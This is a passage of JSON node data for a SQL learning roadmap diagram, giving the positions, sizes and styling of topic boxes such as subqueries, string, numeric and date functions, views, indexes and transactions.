\"selected\": true,\n      \"data\": {\n        \"label\": \"Subqueries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -305.76200280604616, \"y\": 791.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 203, \"height\": 49 }\n    },\n    {\n      \"id\": \"eXQ-TrTlqL5p2AdGnozkL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -605.2510816711185, \"y\": 708.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scalar\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": { \"width\": 81, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -605.2510816711185, \"y\": 708.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 81, \"height\": 49 }\n    },\n    {\n      \"id\": \"wmtt-3auWLdQWuVdwZLPd\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -521.2510816711185, \"y\": 708.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Column\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": { \"width\": 81, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -521.2510816711185, \"y\": 708.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 81, \"height\": 49 }\n    },\n    {\n      \"id\": \"aLDl75i8gtLRA2Ud-fMmQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -437.2510816711185, \"y\": 708.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Row\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": { \"width\": 61, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -437.2510816711185, \"y\": 708.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 61, \"height\": 49 }\n    },\n    {\n      \"id\": \"R9WDMRd-3wxsKH97-sT3n\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -373.2510816711185, \"y\": 708.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Table\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": { \"width\": 66, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -373.2510816711185, \"y\": 708.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 66, \"height\": 49 }\n    },\n    {\n      \"id\": \"zEWmq0Y1LFPMQelpucrph\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -242.76200280604616, \"y\": 715.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Different Types\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 }\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": -242.76200280604616, \"y\": 715.7304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 132, \"height\": 36 }\n    },\n    {\n      \"id\": \"xkPJ2MYiXmzC4yqQWyB_7\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -614.2510816711185, \"y\": 791.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Nested Subqueries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": { \"width\": 220, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -614.2510816711185, \"y\": 791.2304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 220, \"height\": 49 }\n    },\n    {\n      \"id\": \"JZqS3Xapw6mfSPVgFW7av\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -614.2510816711185, \"y\": 844.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Correlated Subqueries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 220,\n      \"height\": 49,\n      \"style\": { \"width\": 220, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -614.2510816711185, \"y\": 844.2304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 220, \"height\": 49 }\n    },\n    {\n      \"id\": \"vTMd0bqz4eTgLnhfgY61h\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -305.76200280604616, \"y\": 953.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -305.76200280604616, \"y\": 953.2304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 203, \"height\": 49 }\n    },\n    {\n      \"id\": \"o2SH4iQn1Ap2yDZ7cVYLO\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -31.751081671118527, \"y\": 912.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"FLOOR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 49,\n      \"style\": { \"width\": 81, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -31.751081671118527, \"y\": 912.2304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 81, \"height\": 49 }\n    },\n    {\n      \"id\": \"6vYFb_D1N_-tLWZftL-Az\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 51.24891832888147, \"y\": 912.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ABS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": { \"width\": 66, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 51.24891832888147, \"y\": 912.2304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 66, \"height\": 49 }\n    },\n    {\n      \"id\": \"OUw--8zEq6lk5-6oySVHe\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 119.24891832888147, \"y\": 912.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MOD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": { \"width\": 66, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 119.24891832888147, \"y\": 912.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 66, \"height\": 49 }\n    },\n    {\n      \"id\": \"9DntFiZV1AyaRPhYP5q6u\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -31.751081671118527, \"y\": 964.2304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ROUND\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 115,\n      \"height\": 49,\n      \"style\": { \"width\": 115 },\n      \"positionAbsolute\": { \"x\": -31.751081671118527, \"y\": 964.2304293708296 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 115, \"height\": 49 }\n    },\n    {\n      \"id\": \"BAqJQvcguhIhzyII5LRH6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 85.24891832888147, \"y\": 964.0530101616195 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CEILING\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 85.24891832888147, \"y\": 964.0530101616195 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"KI9LVF49Zml1StWiN0wUe\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -11.279180891623469, \"y\": 1017.5530101616196 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Numeric Functions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 }\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": -11.279180891623469, \"y\": 1017.5530101616196 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 162, \"height\": 36 }\n    },\n    {\n      \"id\": \"5inpEqafeVCfqsURHzQQg\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -602.2510816711185, \"y\": 922.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CONCAT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -602.2510816711185, \"y\": 922.8865696806382 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"RH8DLiQpDUWqw3U1522q5\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -478.76200280604616, \"y\": 922.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LENGTH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -478.76200280604616, \"y\": 922.8865696806382 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"PnG_5D6q66NAKxXVOwA6N\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -602.9741508977197, \"y\": 974.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SUBSTRING\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -602.9741508977197, \"y\": 974.8865696806382 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"VNbb3YPc0FtrROylRns8h\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -478.76200280604616, \"y\": 974.8865696806382 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"REPLACE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -478.76200280604616, \"y\": 974.8865696806382 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"Othfo7NvTVzfyL906PLM1\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -602.9741508977197, \"y\": 1026.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"UPPER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -602.9741508977197, \"y\": 1026.8865696806383 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"knTG6pAq2mYP24WMa29xI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -478.76200280604616, \"y\": 1026.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LOWER\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -478.76200280604616, \"y\": 1026.8865696806383 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"Va_B9PyyGaQ_aX4ySyhUn\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -567.8883211898742, \"y\": 1085.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"String Functions\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 }\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": -567.8883211898742, \"y\": 1085.8865696806383 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 142, \"height\": 36 }\n    },\n    {\n      \"id\": \"W2ePJHdfEiEJ3ZKoRQKt_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -32.75108167111853, \"y\": 1063.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CASE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": { \"width\": 101, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -32.75108167111853, \"y\": 1063.8865696806383 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 101, \"height\": 49 }\n    },\n    {\n      \"id\": \"KI6vngoYcHsnpIk8ErhhS\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 71.24891832888147, \"y\": 1063.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NULLIF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 113,\n      \"height\": 49,\n      \"style\": { \"width\": 113, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 71.24891832888147, \"y\": 1063.8865696806383 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 113, \"height\": 49 }\n    },\n    {\n      \"id\": \"k7lZe4QRt9q4InUImFmvx\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -32.91017923766498, \"y\": 1115.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"COALESCE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": { \"width\": 219, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -32.91017923766498, \"y\": 1115.8865696806383 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 219, \"height\": 49 }\n    },\n    {\n      \"id\": \"K2k3gFdSE63CqWmHeFUEs\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 21.248918328881473, \"y\": 1171 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Conditional\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": 21.248918328881473, \"y\": 1171 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 104, \"height\": 36 }\n    },\n    {\n      \"id\": \"Ivqo2wa-_NhGU3vGd0pUI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.7510816711185, \"y\": 1137.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DATE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": { \"width\": 116, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -603.7510816711185, \"y\": 1137.7304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 116, \"height\": 49 }\n    },\n    {\n      \"id\": \"88KlrMqSza9_YaD7Dv61p\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -484.7510816711185, \"y\": 1137.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TIME\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": { \"width\": 104, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -484.7510816711185, \"y\": 1137.7304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 104, \"height\": 49 }\n    },\n    {\n      \"id\": \"7hEqkoxkdAWmakGZsMJx-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.7510816711185, \"y\": 1190.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TIMESTAMP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 223,\n      \"height\": 49,\n      \"style\": { \"width\": 223, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -603.7510816711185, \"y\": 1190.7304293708296 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 223, \"height\": 49 }\n    },\n    {\n      \"id\": \"BJ4fQvagTO0B5UtXblyx8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -603.7510816711185, \"y\": 1243.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DATEPART\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 116,\n      \"height\": 49,\n      \"style\": { \"width\": 116, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -603.7510816711185, \"y\": 1243.7304293708296 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 116, \"height\": 49 }\n    },\n    {\n      \"id\": \"1E1WdWOyqxbbdiIbw26dZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -484.7510816711185, \"y\": 1243.7304293708296 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DATEADD\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": { \"width\": 104, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -484.7510816711185, \"y\": 1243.7304293708296 },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 104, \"height\": 49 }\n    },\n    {\n      \"id\": \"KWHyyOO605SQTAwdt3um_\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -556.7510816711185, \"y\": 1297.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Date and Time\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"Va_B9PyyGaQ_aX4ySyhUn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": -556.7510816711185, \"y\": 1297.8865696806383 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 129, \"height\": 36 }\n    },\n    {\n      \"id\": \"2tyezwOIxV6O84N-Q3Awh\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -314.2510816711185, \"y\": 1098.3834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vTMd0bqz4eTgLnhfgY61h\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": { \"width\": 219, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -314.2510816711185, \"y\": 1098.3834408721723 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 219, \"height\": 49 }\n    },\n    {\n      \"id\": \"PcsGK4VBh0zNQIPZvNES4\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -306.2510816711185, \"y\": 1155.3834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -306.2510816711185, \"y\": 1155.3834408721723 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 203, \"height\": 49 }\n    },\n    {\n      \"id\": \"3eE-l-P93nOXoWfLr8PSW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -306.2510816711185, \"y\": 1208.3834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Modifying Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -306.2510816711185, \"y\": 1208.3834408721723 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 203, \"height\": 49 }\n    },\n    {\n      \"id\": \"MIOuWWcCjLAmgzog2DBC3\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -306.2510816711185, \"y\": 1261.3834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dropping Views\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 203,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -306.2510816711185, \"y\": 1261.3834408721723 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 203, \"height\": 49 }\n    },\n    {\n      \"id\": \"Mwwbw0gZzeM27ewaUh49a\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": -96.25108167111853, \"y\": 1280.8834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.5 }\n      },\n      \"zIndex\": 999,\n      \"width\": 359,\n      \"height\": 20,\n      \"style\": { \"width\": 359, \"height\": 20 },\n      \"positionAbsolute\": { \"x\": -96.25108167111853, \"y\": 1280.8834408721723 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 359, \"height\": 20 }\n    },\n    {\n      \"id\": \"LcljR70T-OnzSrJJDqOWf\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 204.97198755548254, \"y\": 1266.3834408721723 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2tyezwOIxV6O84N-Q3Awh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 238, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 204.97198755548254, \"y\": 1266.3834408721723 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 238, \"height\": 49 }\n    },\n    {\n      \"id\": \"NtxGd6Vx-REBclry7lZuE\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 1121.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Managing Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 1121.8865696806383 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"Ps9Yv2s-bKvEegGAbPsiA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 247.47198755548254, \"y\": 1174.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Query Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 197,\n      \"height\": 49,\n      \"style\": { \"width\": 197, \"height\": 49 },\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": 247.47198755548254, \"y\": 1174.8865696806383 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 197, \"height\": 49 }\n    },\n    {\n      \"id\": \"OdaBXz2XBAVLsQ-m7xtAM\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 204.97198755548254, \"y\": 1428.3990110065474 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Transactions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UDqbT1y-YzBrljfKSz_RG\"\n      